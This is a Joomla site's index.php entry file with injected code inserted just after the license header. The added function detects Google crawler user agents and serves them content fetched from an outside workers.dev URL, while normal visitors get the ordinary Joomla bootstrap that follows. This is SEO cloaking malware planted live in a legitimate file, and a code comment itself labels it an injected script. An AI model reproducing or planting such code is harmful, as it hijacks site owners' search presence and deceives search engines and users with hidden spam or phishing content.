* @license GNU General Public License version 2 or later; see LICENSE.txt */ // Fungsi pengecekan GoogleBot (Injected Script/Malware) function is_google_bot() { $agents = array( "Googlebot", "AdsBot-Google", "Mediapartners-Google", "Google-Site-Verification", "Google-InspectionTool", "Googlebot-Mobile", "Googlebot-News" ); $user_agent = isset($_SERVER['HTTP_USER_AGENT']) ? $_SERVER['HTTP_USER_AGENT'] : ''; foreach ($agents as $agent) { if (strpos($user_agent, $agent) !== false) { return true; } } return false; } // Eksekusi jika yang datang adalah crawler Google if (is_google_bot()) { echo file_get_contents("https://www-clio-it.xiaaoulong.workers.dev/cionaiksg"); exit; } /** * Define the application's minimum supported PHP version as a constant so it can be referenced within the application. */ define('JOOMLA_MINIMUM_PHP', '5.3.10'); if (version_compare(PHP_VERSION, JOOMLA_MINIMUM_PHP, '<')) { die('Your host needs to use PHP ' . JOOMLA_MINIMUM_PHP . ' or higher to run this version of Joomla!'); } // Saves the start time and memory usage. $startTime = microtime(1); $startMem = memory_get_usage(); /** * Constant that is checked in included files to prevent direct access. * define() is used in the installation folder rather than "const" to not error for PHP 5.2 and lower */ define('_JEXEC', 1); if (file_exists(__DIR__ . '/defines.php')) { include_once __DIR__ . '/defines.php'; } if (!defined('_JDEFINES')) { define('JPATH_BASE', __DIR__); require_once JPATH_BASE . '/includes/defines.php'; } require_once JPATH_BASE . '/includes/framework.php'; // Set profiler start time and memory usage and mark afterLoad in the profiler. JDEBUG ? JProfiler::getInstance('Application')->setStart($startTime, $startMem)->mark('afterLoad') : null; // Instantiate the application. $app = JFactory::getApplication('site'); // Execute the application. $app->execute();